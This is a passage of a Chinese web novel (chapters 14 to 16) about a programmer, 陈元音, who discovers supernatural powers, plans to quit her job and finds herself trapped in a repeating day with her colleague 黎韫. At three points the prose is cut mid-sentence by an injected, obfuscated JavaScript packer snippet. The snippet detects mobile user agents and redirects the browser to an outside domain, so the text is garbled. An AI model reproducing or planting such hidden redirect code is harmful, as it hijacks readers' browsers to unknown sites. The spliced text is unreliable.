但她完全不相信总部是个好地方! 她那毫无由来的第六感在她踏入总部的那一刻就在头顶拼命地闪烁危险的红灯。世界上任何人说的话她都会斟酌,唯独自己的第六感,她百分百相信! 因为二十来年的日子,危机感准确率百分百! 她沉思了一会儿,还是招手拦下出租车。 无他,世界照常转,但是工作不能丢。陈元音眼睛一闭一睁,最后决定,天暂时塌不了,不如先去公司打个下班卡,起码明天被老北抓起来批斗的时候能少点字数。 只是—— 她上车好一会儿才想起来。 糟了…… 许宴忘给她出协助调查文件了! 小宋警官也忘了! 她要被扣工资了!!! 天塌了!!!!!!! 14. 日复一日(一) 真是天塌了…… 陈元音站在办公室里,脸前是老北冲着她喷来的唾沫星子,半阖着眼睛。 老北是她所在互联网公司的小组组长,脸上是互联网工作者常见的边框眼镜,胖得几乎连脖子都没有了,骂她不请假搞失踪的时候,脸上的赘肉一颤一颤的。 百叶窗外天空浓云低垂,云层隐约有雷声低沉。 室内的空调冷气很足,老北的声调混在冷气中一声比一声高昂,“今天都10号了,这个项目最近就要落地的!你这么悠闲,万一最后搞不定你担待得起吗……” 这么大个项目本来就不是一个人能搞定的事。陈元音在老北破音的尾音里木着张脸,也许今天就不该来,她茫然地想。 教训之后是每周例会,这种会议通常开在下班时间之后,每个人将自己的上周工作结果和下周目标以及本周要做的事情讲述一遍,再由小组组长总结。 这是老北一力促成的面子型工程,引以为傲要全员在岗开会。陈元音一度认为此人到了互联网敏感的三十五岁“更年期”,一惊一乍,生怕别人不知道他在干什么。好好的大型技术公司,搞得像传/销。 耳机里响着老北情绪激昂的总结语:“团队里的每个人都是螺丝钉,将每个人紧密结合在一起……” 快别提螺丝钉了,陈元音听了只感觉脑袋疼。会开到最后,胃口是一点都没有。 她向后一靠,椅背随着压力往后压去,手指夹着细长的黑色碳素笔,绕了一圈又一圈,整套动作行云流水,显然上学的时候没少这样干。 她十分理解老北的焦虑,但对他如今的做法不敢苟同。 去年公司有三位超过三十五岁的中层领导因为薪资和项目进度不及预期而离开了公司,自那以后,老北好似打通了任督二脉,每天打了鸡血一样的揽活儿。这样一来,工作饱满的他虽然缓和了职位压力,可苦坏了下面的人。 围城里有一句“忠厚老实人的恶毒,像饭里的砂砾或者出骨鱼片里未净的刺”,看似善良实则斤斤计较的你还拿他没有办法,只得到一句“他人还算是老实”。 老北就是这种人,以忠厚老实的外貌,隐藏着随时会发疯要命的情绪炸弹,不知道什么时候会突然炸开。 没人能一直忍受源源不断的逼迫,做得好受不到嘉奖,做不好则带来谩骂。 短短一年里,小组辞职了一半的人,其中有三个只干了一年就受不了提交了离职申请,甚至有一个提交离职的同时提供了焦虑症的病历单,这也是为什么陈元音在发现自己头发爆掉时就惊恐的要找心理医生的原因之一。 她缓缓吐出心中的一口郁气。 最开始冒出的“可以装作毫不知情回归正常生活”的想法被迅速熄灭。 她从觉醒者总部回来公司满打满算也只过去了三个小时,天已经完全黑下去。 肾上腺素飙升后,即使回到公司这个令她熟悉的地盘也没有完全放下,反而让她对这些日复一日的生活产生了厌烦。 或许是今天发现了自己不同寻常的本事,让她觉得或许可以换一种方式生活,又或许……是厌倦这种普通的生活。 耳畔响起万灵背靠大海,掷地有声地对她说:“进化是大自然替人类做出的选择。” 我厌倦了当一个普通人吗? 普通人过普通的生活不好吗? 她垂着眼看自己放在键盘上的双手,写代码的手无比稳重,丝毫不会颤抖。 电脑界面是搜索栏查询的“觉醒者”“异能者”“超能力”,她甚至查询了“郑裴”的人名,网络上什么痕迹都没有,如果不是衣服口袋里被风刮进的沙砾,她只会觉得这是一场臆想,一场梦。 也许是时候离开这家公司了,她想,这并不是因为工作太累。 陈元音从不冒进。 “例会还没结束吗?”头顶上有人说。 陈元音的心跳几乎从胸膛蹦了出来,她手指灵活的条件反射切屏,才抬起头,这才看到站在面前的人是黎韫。 是她人畜无害的同事,不是伸出手就能点爆空气的觉醒者。 看到陈元音呆愣的神情,她扑哧一下笑出声来,伸出手中温热的水杯,抵住她的额头,“你的水杯忘在茶水间了,被老北教训的这么厉害,听到例会就害怕?” 陈元音已经对教训免疫了,她用鼻音轻哼一声,“怎么会?” 黎韫双臂搭在格子上方,对她挤眉弄眼:“那是被老北气到了?” “和这些表面踌躇满志、内里空空如也的人有什么好解释的。” 就是烦。 会议终于结束了。 她把笔扔回桌上。 啪。 她伸了个懒腰,“今天加个班吧!” 桌面上倒扣的手机屏幕的未读亮了又暗,她一条未读消息都没有点开看。 她还没想好要怎么面对她曾经的好朋友。 “加班?”黎韫好看的眉眼在头顶灯光闪闪发亮,“今天太阳打西边冒出来啦?” “嘘!嘘!”陈元音拼命拽她,不远处的办公室门打开,老北关灯走出办公室,一言不发地沿着墙离开。 “你今天胆子格外大,没有被骂吗?”陈元音震惊,她以为黎韫是看到老北走了之后才来闲聊的。 “怎么会!”黎韫夸张地用气音喊,“我上午刚被骂过,整个办公室都能听见!” “那你还这么轻松?” “反正他更年期嘛,我不和他计较,骂我两句也不会少块肉。”黎韫无所谓地耸了耸肩,“他骂我又不是一天两天了,全办公室都知道他每天早上要先抓到我的小辫子才能安心工作。” “好心态决定女人一生。”陈元音伸出手,做出网络热梗的表情包动作,然后伸出手抱着黎韫的双臂,蹭好运,“真羡慕你啊!” 那是一种向往,向往这种率性而为、不会被恶毒话语所击倒的积极向上的生活姿态。 多好啊。 黎韫想了想,邀请她,“你想一起吃晚饭吗?这次我请客。” “好啊,那我要狠狠宰你一顿!”陈元音双臂交叉在胸前,得逞地大笑着。 明明是电影场景一样的场合,莫名其妙地,陈元音觉得自己好像忘记了什么东西。 但不重要了。 *** “你要辞职?”黎韫语气平淡地重复她的话。 对方的表情一点惊讶都没有,让陈元音有点挫败,她半趴在桌子上伸出食指,做哀求状,“你能不能对我这个决定稍微惊讶一点?” “你想让我在公司食堂惊讶大喊‘你要辞职’?你确定吗?”黎韫反问她。 两人正是相约在了公司食堂一起吃晚饭,陈元音所说的“狠狠宰一顿”的意思就是——在公司食堂刷卡吃一好的顿。 没办法,加班人只有两个选择,食堂,或者外卖。毕竟离开工位太远,就不会想回来了, “既然都决定要辞职了,你今天为什么要加班?”黎韫奇怪地问。 “毕竟是以前的‘战场’啊,辞职的时候总得待一会儿看一会儿吧。”陈元音托着脸说。 “醒醒吧,现在就说是‘以前’是不是太早了!”黎韫笑眯眯往她嘴里塞进一个寿司卷,说道,“提离职到真正走之间的交接还要一个月呢!” 以往只在电视剧里看过但其实本人是第一次提离职的陈元音:“!” “这么着急,你找到下家了?”黎韫问。 陈元音摇了摇头。 “裸辞啊?勇士!”她竖起拇指,“不过,这确实像你的风格。” “我的风格?”陈元音惊讶地指了指自己。 “对呀,是你的风格。”黎韫说,“还记得我们第一次说话的时候吗?” “当然记得。”开口的同时陈元音就在笑了。 当时陈元音实习刚转正,就因为万恶的调休日忘记设置闹钟而起晚,于是刚来就被老北喊去办公室挨骂。迟到是小事,但老北不是那种能放过别人失误的人,逮住一点错误就要发散。 祸不单行,这时候的陈元音还正在被某个刚进公司的关系户骚扰。 挨骂结束出来的陈元音看到自己的座位,不露声色地翻了个白眼。 她已经拒绝过这个关系户无数次了,然而这人还是不屈不挠的要来约她,次数多到现在已经开始影响她的工作。 此人工作能力几乎一点没有,前一晚收拾他留下的烂摊子加班到深夜,还被她听到和别人打赌多久能泡到她。 行为不仅恶劣,还没品。 而现在这人已经不满足于下班骚扰她,甚至今天一来就看到这人光明正大坐在她的工位上,晃着她的椅子等她。 “怎么样?文件交上去就好了,今晚一起吃个饭?”那人腆着脸不肯走,坐在她的椅子上。 周围的同事用异样的目光看着两人。 陈元音放在两侧的拳头握紧,始终没有伸出来。 刚转正,她忍。 而面前这人仿佛不知道忍耐也是有限度的,竟然想要抓住她的手。 她猛地缩回被牵起的手,手腕磕在桌子边缘,发出骨节撞击的声音。 肯定磕青了,她想,而面前的男人丝毫不管不顾,又伸出手来要来拽她。 就在她几乎忍无可忍的时候,身后忽然伸出一只白皙的手,啪一下打掉了对面伸过来的手。陈元音惊讶的回头看去,只见黎韫像一位欧洲的贵族小姐一样走上前来,矜贵的抬起下巴,冷漠的像拍掉一只蚊子,脸上的笑意彻底消失,“我觉得你人有问题,昨天所有人因为要解决你所犯下的问题而加班,你竟然还敢这样恬不知耻的骚扰同事。” 噗嗤!办公室不知道有人没憋住笑。 关系户的脸色顿时变得极差,他伸出的食指几乎要怼到黎韫的鼻尖,被她厌恶得躲开了。 “你这个假清高,别以为你自己又多有能力,不过是仗着姿色的玩意。”他得意洋洋地绕过黎韫,对陈元音说,“我可都听到了,你搞砸了一份文件对吧?这个锅你是板上钉钉要背的了,不过——” 他话音一转,用一种油腻又恶心的声音说,“你陪我一天,说不定我心情好就让我舅舅放过你了呢……” 陈元音冷了神色,“文件是你做的。” “是吗?”关系户拖着长长的音调,他的脸忽然靠近,“文件没问题才是我做的,” 如果有问题呢?会是落在谁的头上? 这是赤/裸/裸的威胁! 有杯底磕在桌子上的声音,办公室无人说话,静得陈元音只能听见自己的心跳声,她的手指开始颤抖。 “文件?你是在说这个吗?”黎韫突然开口,所有人霍然看向她,她正来回的摇晃手中的文件,让对面的男人清清楚楚看清标题标黑的文字,“刚刚老北拿它砸向我的时候顺便带出来了。” 怎么会是顺便,陈元音失笑,她从早上就急得团团转哀嚎老北的急于求成,周围同事都在安慰她,只有进去挨骂的黎韫胆子大,一边挨骂还能一边眼珠子滴溜溜的转,在被泼洒的文件里眼疾手快挑出这份带出来,也是一种奇怪的天赋。 周围的同事都在起哄陈元音请客。 只是——陈元音瞥了一眼拍拍屁股留下威胁后走了的关系户。 “怕什么?”黎韫神气地将手中文件拍得哗啦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497954|168673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啦作响,“是我做错的我才认,做任何事情我都在全力以赴,而有罪的另有其人。” 她意有所指,话刚出口就被人拉了一把胳膊,“别说了。” “我说得有问题吗?”她冷着脸说,“话只有说出来,别人才能知道谁有问题。” 拉她的那人神色讪讪,没再说话。 黎韫说得对,说出口别人才知道你有问题,否则没人能救得了她,别人只会以为她在欲拒还迎。 当然,老北不会开了黎韫,他是最不想黎韫走的那一个。 互联网这一行吃天赋,而黎韫是最有天赋的那个新生代。 耀眼的光芒无法被遮掩。 至于后来老北因为自己丢了文件又找不到人赖,最后只能自己生吞咽下承认错误的那个场面,相信整个办公室都很难忘记。 而那位关系户当天就因为挪用公款被抓,连带着他身居高位的舅舅也一起落马,整个公司顺藤摸瓜开始严查,一时之间所有沾有裙带关系的人都岌岌可危,喜欢搞办公室争斗的也战战兢兢,反而让普通员工们都长舒了一口气。 陈元音到现在都记得黎韫那明亮眼神之下叛逆张扬的底色,让她明白自己不应该将自己埋在日复一日的耗人心气的摩搓中,即使在普通日常中降低存在感,将自己掩盖在普通之下,也不会甘心永远一直这样普通下去。 两人笑了好一会儿才止住,陈元音的眼角都笑出了眼泪,扯出桌边纸巾擦拭。 手机屏幕亮起,陈元音擦拭的动作一顿,但也只瞥了一眼。 黎韫八卦地看她表情,“恋爱了?” 她摇了摇头。 “那你怎么一副被辜负了的表情?” 一语中的,除了前因后果,一句话射中她的内心纠结敏感的情感。 她确实感觉自己被辜负了。 这么多年的朋友,明明可以直接告诉她的话,却要从外人口中听到。 在总部的时候,她好奇地问万灵总部是如何精准找到觉醒的普通人的。 当时的万灵说,“我们会有人员定期评估被观察的有觉醒可能的普通人类。” “可我没有觉得身边有陌生人啊……”陈元音脱口而出,在万灵的带着怜悯的目光里猛地截断。 她身边没有出现奇怪的陌生人,但一直都有觉醒者。 谭琳琳。 对突然出现的郑裴毫无陌生之意。 就连许宴心理诊所的联系方式,都是她给的。 难道一直以来,都是为了观测她是否失控,才会待在她的身边吗? “如果你的朋友,隐瞒了一些事情。”陈元音小心地措辞着,吞吞吐吐。 黎韫的表情有一瞬间的变化。 “原来是和朋友吵架了吗?”她轻声说,“如果是关系很好的朋友,隐瞒或许是为了你好吧。” 陈元音搅汤的勺子一顿,垂着眼闷声说,“我一向不太喜欢别人打着‘为我好’的名义,替我做决定。” “闷在心里不说话并不能带来解决办法,不如去问一问吧。”她幽幽叹了口气,叹气声轻的近似于无,空灵又带着几分伤感,仿佛忽然想起了很久之前的事情。 陈元音愣了一下,明明是坐在她面前的人,这时候又好像隔着万水千山。 黎韫不是一个距离感特别强的人,即使她是个在人群中极为亮眼的人,在以宅男宅女为主的互联网公司里,可以一眼看到的存在。 漂亮的人即使模糊也是一眼能看见。 但漂亮的人永远会被人认为外表才是第一顺位。 “其实,我很羡慕你。”陈元音突然抬头说。 难以开口的话,一旦开了口就像打开了水龙头。 “羡慕我?”黎韫挑了挑眉,伸手摸她的额头,“没喝酒啊,怎么就开启真心话模式了?” “羡慕你不会在意别人的目光,好像永远不会有心事。”陈元音说出口就后悔了,怎么会没有心事,不能因为她消化负面情绪又快又好,就认为无事发生。 她脸上的后悔太明显,黎韫噗的一声笑了。 “怎么了?突然心事这么重?”她问,“因为要走了?” “有一点吧。”陈元音手腕托着脸,看向食堂的窗外。 她们公司处在市中心繁华街区之处,即使天完全黑了,周围的灯光也依然通明,街道干净无比,这就是国际化大都市,二十四小时光污染,即使繁星再亮也不看不清,让陈元音忽然想起那个完全原始生态的海岛。 那里或许能看到满天的星星吧? “我妈妈每年生日都在祈祷,我能辞职回家考公务员或者事业编,然后像小区里她口中的大部分女生一样,早早地嫁人生孩子。”陈元音低声说。 “可是忽然有一天,我觉得这样不对,这不是我想要的生活。”她重复道,“我不要就这样生活。” 良久的沉默,只有远处人群低声讲话的声音,像隔着一层膜。 “那你辞职是为了回家吗?” “当然不是!”陈元音声音很小,几乎只有自己能听见,或许就是为了说给自己听,“有件事要去做,但是太陌生的领域,完全想不到要怎么去做。” 黎韫突然一步跨上前,她的身影完全遮挡住了头顶的灯光,坐在椅子上的陈元音茫然地抬头看她,只能看到轮廓,看不清表情。 黎韫忽然深深吸了一口气,啪啪啪地大力拍打着她的肩膀。 “既然不想这样生活,那么就用力去做!” 她用她那一如既往坚定的语气,像是支柱一样,陈元音不自觉地立起了背部。 “不要犹豫,犹豫是最没有意义的消磨。” 15. 日复一日(二) 陈元音几乎要哭了。 再次站在公司门口的时候,正是鼓足满腔热血和勇气的时候。没想到刚走到门口,就被通知目标人员在开会,不可打扰。 开会,万恶的开会。 老北在开会的时候门是反锁,会议是他的主战场,他最爱开会,任何人都不能进去打扰。 为了时刻观察老北什么时候开门,陈元音只有一半屁股坐在椅子上,余光紧盯动静。 这姿势太奇葩,一天下来,她的脖子僵得难受。 可办公室依然毫无动静。 这会怎么还没开完,陈元音不耐烦地揉着后脖颈,仰着头拉伸。这天阴沉沉的,雨要下不下的时候最讨厌。 一抹温热贴在她的脖子上,陈元音一转头,就看到一个装着热水的杯子。 很眼熟,正是她自己的杯子。 杯子后面是黎韫含笑的眼,她把杯子塞进陈元音手里,笑话她,“走什么神呢,杯子都忘拿了。” 陈元音讪讪地接过杯子,放在桌上,“等老北呢。” 黎韫惊讶,“等他?你今天上赶着去挨骂吗?” “怎么了?”陈元音压低声音。 “老北的项目出了点小问题,没办法在打包票的时间内完成。”黎韫鬼鬼祟祟地和她交头接耳,“但是公司想要今年科创板上市,老北这边因为前期的数据有问题,和对手方项目没有谈下来,所以科创比例差了一点不达标,今天开会就是说这个呢。” 是捅破了大错误! 今日绝对不宜出现在他面前!更别提离职! 重要信息get,陈元音果断作出决定。 “那我今天不找他了。”接头完毕,陈元音正襟危坐,偷偷把准备好的离职信又塞回包里。 既然准备要走,当然是要挑一个风和日丽的日子。 黎韫看她一副内心窃喜又不敢表现出来的样子,扑哧一下就笑了。她戳了戳下陈元音的额头,“老北刚刚已经走了,想要幸灾乐祸就快趁现在吧!” 陈元音手忙脚乱地捂着自己的脸,一边慌张地拿起桌子上的小镜子看,“我幸灾乐祸的这么明显吗?” 镜子里的她嘴角忍不住上扬,不笑出声已经是最后的仁慈,她的目光上移,清晰地看到白皙的额头上多出了一点印迹, “啊!红了!”被戳中的地方有一点红色印记,像江湖小说里的一点红,陈元音顿时指着对黎韫这个罪魁祸首告状。 “好啦好啦,对不起。”黎韫双手合十,郑重的说:“请你吃饭向你道歉,好不好?” “好耶!”陈元音欢呼。 第二天,陈元音第二次拿出离职信,站在老北的办公室面前,看着透明窗上自己的倒影,默默为自己加油打气。 “你站在这里干什么?”身后有熟悉的声音传来,陈元音回头,黎韫正站在她的身后,疑惑地看着她。 “我找老北。”陈元音指了指关着门的办公室。 “我劝你今天不要。”黎韫放下手中的文件,伸出一根手指。 陈元音顺从地附耳上前。 “他今天要完蛋了。”温热的细微的声音顺着耳廓到脖子,陈元音半个身子都痒痒的。 她捂着自己的耳朵弹回来,“怎么了?” “老北的项目出了点小问题,没办法在打包票的时间内完成。”黎韫冷静地说,“但是公司想要今年科创板上市,老北这边因为前期的数据有问题,和对手方项目没有谈下来,所以科创比例差了一点不达标,今天开会就是说这个呢。” “哦——”陈元音拖着长长的尾音回答,回到座位后小声说,“还没解决啊。” 就这么一件事,好几天了。 她放下写好的离职信,人久久没有坐下。 黎韫的说法,和昨天真是一字不差。 她眯着眼睛笑了起来,这是太幸灾乐祸了吧。她向后仰倒,躺在椅子上,手指在桌子上一揽,抓了个空。 桌子上的空空如也,她的水杯呢? 一阵温热被贴上脖子,不用回头就知道是谁。 黎韫微笑地拿着水杯,问她要不要一起吃饭。 陈元音欲哭无泪,趴在桌子上哀嚎。 有些事情,一鼓作气,再而衰,三而竭。 明天!她紧紧掐着自己的虎口。 明天就把离职信拍老北桌子上! 仔细想想,最近白吃了黎韫很多饭呢。 不白吃,都不白痴。她飞速的装包走人。 “黎韫。”有同事站在走廊,和黎韫说了几句话,走回工位拿出了什么东西。 “嘁,不就是因为长得好看才拿到了这个职位吗。”陈元音回头,办公室的格子间坐了一半的人,还有一半的人隐藏在阴影下,根本看不到是谁说了这话。 她默默地回头。 这种话在她刚入职的时候就有听前辈说过,但随着和黎韫一同工作的时间够长,工作能力这种是最无法造假的事情,她彻底被折服了。 优秀的人的光芒无法遮蔽 太喜欢了,太羡慕了,太想靠近了。 第三天。 办公楼一层的新闻播放着天气预报。最近要进入黄梅雨季节,天气一会儿热一会儿冷,潮湿的气候惹人烦躁,天阴沉着,雨要下不下的。 最近几天都是这样的天。 和昨天完全一样。 空空如也的桌子上,消失的杯子。 陈元音冲去茶水间的时候,黎韫刚走出来,手里拿着她的杯子。 “啊,你来得正好。” “不好意思,我最近记忆力不太好。”陈元音捂着额头苦闷地说。 黎韫有些诧异,“只是忘拿了一次杯子而已,就上升到记忆力不好的地步了吗?” “还有很多……哎!”陈元音深深叹了口气。 “好啦,不要焦虑了,今晚久违地请你吃顿饭吧!” “黎韫姐姐是世界上最好的人啦!”陈元音肉麻地说。 “啊啊啊不要这么肉麻啦!”黎韫惊悚地摸着自己冒出的鸡皮疙瘩,拒绝感动。 两人回到工位上,陈元音好像再等一会,可黎韫不想在公司待着。 黎韫一把抓住她,将她从椅子上拖了起来,“走啦!我们快走!” “黎韫。”有同事皱着眉头拦住她,陈元音从她身后听了一耳朵,只听明白是工作上的事,不知道为什么特地挑她拎包要走的时候说。 昨天也是这个时候,专门挑人下班的时候来找。 “这个啊,我已经做好了。”黎韫走回桌上拔掉u盘递给这位同事,轻描淡写地说,“不过不是说明天才是ddl吗?” 同事的脸肉眼可见的涨得通红,“啊,是……是我记错时间了。” 陈元音沉默地跟在后面,不敢看同事的表情。这种表情她见过很多次,已经不想再看了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522320|168673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>其实不想承认,很多时候不想承认别人会比自己优秀那么多。 可是人偏偏是种很敏锐的生物。 即使不承认,也会从方方面面的角落里冒出来。 “嘁,不就是因为长得好看才拿到了这个职位吗。”身后有隐约的声音小声嘀咕,黎韫的脚步走得又稳又快,她们都没有回头。 漂亮的人永远会被人认为外表才是第一顺位。 能力出众的时候,外表会首当其冲受到质疑。 如果说之前对这种日复一日的生活只是厌倦,那么现在对这种针对性的恶意,就是厌恶了。她讨厌这种围猎。 明天,她咬着牙想。 明天就把离职信拍老北脸上! 陈元音到公司楼下的时候,刚刚卡住打卡时间。 上班多年,身体已经形成了惯性,不用看手机就知道几点出门会赶上刚刚好的地铁,步伐几乎一致,打卡时间铭记于心,刻入肺腑。 陈元音站在一楼大堂等电梯下来。 大楼里不止有互联网公司,还有很多金融公司来来去去,一楼的大厅有一整面墙在播放今日的新闻,陈元音百无聊赖的站着,无聊的看着大屏幕。 大屏幕上的新闻女主播,正在预报明日天气有雨。 每天都在预报有雨,结果这雨要下不下,一直都没有下。 如果她的记忆没有出现问题,这是她不知道第几次提起这件事了。 应该不止这些,她惊恐地看着大屏幕上的主播,穿的是白色的套装,昨天,不对,前天她好像也是这身衣服! 陈元音心里咯噔一下,她抓着黎韫的手不放,脸上僵硬地挤出一个笑容。 “今天几号啊?” 黎韫优雅的抬起手腕,对她的表情毫无知觉,施施然地说,“11号啊。” 一股寒意从脊梁骨顺着脊椎窜到脑后。 ——“今天都10号了,这个项目最近就要落地的! 老北的声音历历在目,她从总部回来的那天就是10号。 明明已经过了很多天了! 她慌张地翻着包,因为太过大力包里的东西散落一地,她的手机呢……手机在哪里! “你要离职?”黎韫帮她拾起撒落一地的物品,手里捏着那张她写好的离职信,惊讶地问她。 她打了个激灵。 黎韫不记得了。 明明是带着暑气的夏天,后背却浮上一层冷汗。 市中心还是一贯的繁华,快要进入夏天了,商务楼的一层已经开足了空调,开开合合的自动门带出丝丝冷气,而站在门前的陈元音,也感受到自己的头顶在冒出丝丝冷气。 *** 总部。 穿着白色隔离服的研究院人员来来往往,高声谈笑着。许宴正带着人走出电梯。 大厅的人收敛了笑意,停止谈话。 “许宴!”有女生的声音无人说话的大厅尤其响亮。 所有人的视线看向那里。 有两个穿着黑色西装的人一左一右地拦在女孩子的面前,女孩的等级不高,但仍然竭力想要冲破防护。 许宴讶异地快步走出去,挡住的人群自动散开。 “你怎么……” 谭琳琳焦急地冲上来,她整个人苍白得可怕。 在总部的每时每刻都让她觉得要昏厥,可她有必须要来的事情。 “元音失踪了!” 16. 日复一日(三) 市中心的繁华地段。 陈元音坐在自己的工位上,身边来回走的,是自己每天都能见到的同事。手里摸着的,每天都会用的电脑、鼠标和键盘。 她拿起键盘,对着桌子边缘狠狠地磕了一下,键盘的塑料侧面立马被磕出一个豁痕。这声音让办公室里的人纷纷抬头,奇怪地看着她,随后又摇了摇头,又低下去继续做自己的事情,嘴里念叨着“写代码又写疯了一个”。 陈元音摸着这个豁口暗自心痛,摸着不像假的。 办公室里的每一处细节都和她印象中的一样,她假装起身倒水,若无其事地走了一圈,每个人的脸都能和记忆里对上号。 如果是「场」的话,这种时间上的怪异倒也不难理解,觉醒者失控本身就会扭曲正常生活中的常规规则。 不过—— 陈元音抬起眼皮,面前的黎韫正叉着腰站在她的面前,面色严肃地盯着她,等待她的回答。 郑裴说过,「场」开启的时候只有觉醒者才能进入,其余都是失控者幻想中的人物,可这人是不是太过真实了点? 黎韫被猝不及防捏了脸,这让正在生气的她像一只被戳破的气球,漏气了。 “陈——元——音——”她拖着长长的音调,一拳敲在面前淘气捏她脸的那人的头顶。如果只是一个拳头确实没有什么杀伤力,但拳头的手指上面还挂着某人忘在茶水间装满的水杯。 500毫升,满量。 重量相当可观。 尤其是毫无防备被敲在头顶的时候。 “痛痛痛痛痛!”陈元音痛苦地揉着脑袋。 黎韫噗呲一声,笑了。 “我最近记忆力不太好。”她接过自个儿水杯,她的动作一顿,行云流水地将它放得远远。她抬起眼,手指在桌上轻轻点了点,“昨天也是你帮我拿的,对吧?” “昨天?”黎韫的头稍微歪了一下,她想了想,“有吗?” “有吗?”陈元音幽幽地看着她。 “哎呀!在公司每天要干的事情都差不多,忘记也是情有可原吧!”黎韫揉了揉她的头发。 确实,陈元音怔怔地想。 最好是弄错了。最好是她被郑裴上次带来的场中场中场弄昏了头,自己搞错了吧。 无论是笑容,还是语气,都是自己认识的那个黎韫没有错。 难道……?陈元音脊背一僵,难道失控的人是她自己? 从黎韫的角度看,陈元音忽然浑身一颤,表情悲天悯人夹杂着一丝从容赴死的悲壮,紧接着,莫名其妙的,她看着这人站在原地,摸着自己的脉搏,静数了一分钟。 虽然说现在年轻人压力大,但这压力看起来也太大了吧! 无风而起,滑落一片纸,黎韫率先蹲下去拾起,无意间看到上书《离职通知书》五个嚣张的居中黑体字。 摸完脉的陈元音看起来并无隐藏之意,平淡的接过了这张离职信,光明大的随意铺在桌上,也不管会不会有人路过看到告状,俨然一副“反正老子就要走”死猪不怕开水烫的模样。 “这是怎么了?”黎韫小声问,“你怎么突然要离职啊?” 陈元音看了看电脑上的时间,快要下班了,“边走边说。” “等我三分钟,我等下还……”黎韫的话被打断。 “走。”陈元音以意外的强硬的力气拉走了她,“三分钟可说不完。” 可我还有个东西要给别人啊,黎韫眼睁睁看自己被陈元音拉着,和她项目组的某个同事擦身而过。 “黎韫!”被忽视的同事喊道,面上一闪而过一丝不快,“要做的PPT……” “桌上电脑的U盘。”陈元音头也不回地打断,“自己去拿。” 黎韫张了张口,那句“我已经做好了”愣是没说出来,一抹怪异浮上心头。 一直着急要走的人突然停了下来,陈元音像是忽然想起什么似的转过头,对着某片区域静静地看了一会儿。 最角落的工作格里,传来一声不屑,那是个平日里老实文静的女孩子,去年才来的应届生,一直很努力上进。陈元音记得她,有时候她和黎韫笑得很开心的时候,余光会看到她在角落羡慕地看着她们,眼神透着亮。 发出声音的女孩在脱口而出之后首先抬头观察了下周围,她的声音并不大,她不确定是否有人听到这句抱怨,赶忙确认其他人神色无恙。不过这种话也不是只有她会说,大家都这么说,这样一想,忽然觉得舒畅起来。 刚松了一口气,一束目光毫不掩饰的落下,让她觉得头皮发麻,她抬起头,快要走出走廊的陈元音没有微笑,就这样直直地看着,看清楚了是她开口的那个瞬间。 一股寒气攥住喉咙,牙齿不自觉地上下磕了一下,她猛地低下头,再也不敢抬起。 黎韫抿着嘴,一句话都没有说。 两人就这么一前一后,在制度规定的下班时间之前,离开了办公室。 陈元音闷着头,再一次印证了自己的想法。 新闻联播里的播报员、拦住黎韫的同事、说小话藏在角落的人,他们说的话,所做的事,都和昨天一样。 如果说之前只是隐隐约约,现在更多的细节填充了印证,让整件事变得清晰起来,无所遁形。 这不是错觉。 一切,都和昨天一样。 她们被困在了这一天。 与此同时,黎韫虽然觉得奇怪,但依然端坐在对面,抬起手在她失神的眼前晃了两下。 食堂的灯今天打在脸上有点惨白,也可能是外面的黑云压城太过有压迫感,黎韫总觉得陈元音和平日里不太一样,满怀心事。 “如果你是要和我说那个离职信,是不是要换个地方。”黎韫犹豫地说道,食堂人来人往,保不准就传到谁的耳朵了,实在不是一个说话的好地方。 “不是离职的问题。”她摇了摇头坐下。 黎韫静静地看着面前的陈元音,她突然有种感觉,对面的人即将要说一件很重要的事情, 这让黎韫突然有点害怕。 拿着包的手指微不可察的突然捏紧,她低着头,额发遮住了她的神色,白色的昂贵皮包被划出一道白印。 陈元音像是终于下定了某种决心,她完全没有在意周围的人,神色如常,声音不变,仿佛只是说什么工作上的闲聊话题。 不远处的食堂传来锅碗碰击的清脆声,饭菜香味飘逸整个空间,在这样的环境里,黎韫很难相信自己刚刚听到的话,就像天方夜谭一样。 她稳了稳神色,身体微微前倾,温柔地说道:“是不是最近太累了啊?” “咣当”一声,一把普通的、五金市场随处可见的扳手,凭空落在餐厅光亮的桌面上,落在两人面前。 大脑泛起一片白光,黎韫的喉咙下意识做了个吞咽的动作,她盯着那抹凭空降落的不明之物,耳畔只能听到自己声如雷鼓的心跳声。 不远处的清洁阿姨顿时抬头,不满地看着在座位上端坐的两位。 *** 南方的黄梅雨季要来了,路过的空气中都带着水汽。 市中心繁华的街道,即使是工作日也有多人路过,树叶低垂发出沙沙声响,正在拍摄建国前所造的欧式建筑群的摄影师,正频频往一个方向看。 离下班还早,许宴正独自一人坐在江边的露天咖啡厅里,挽着的袖子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538376|168673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 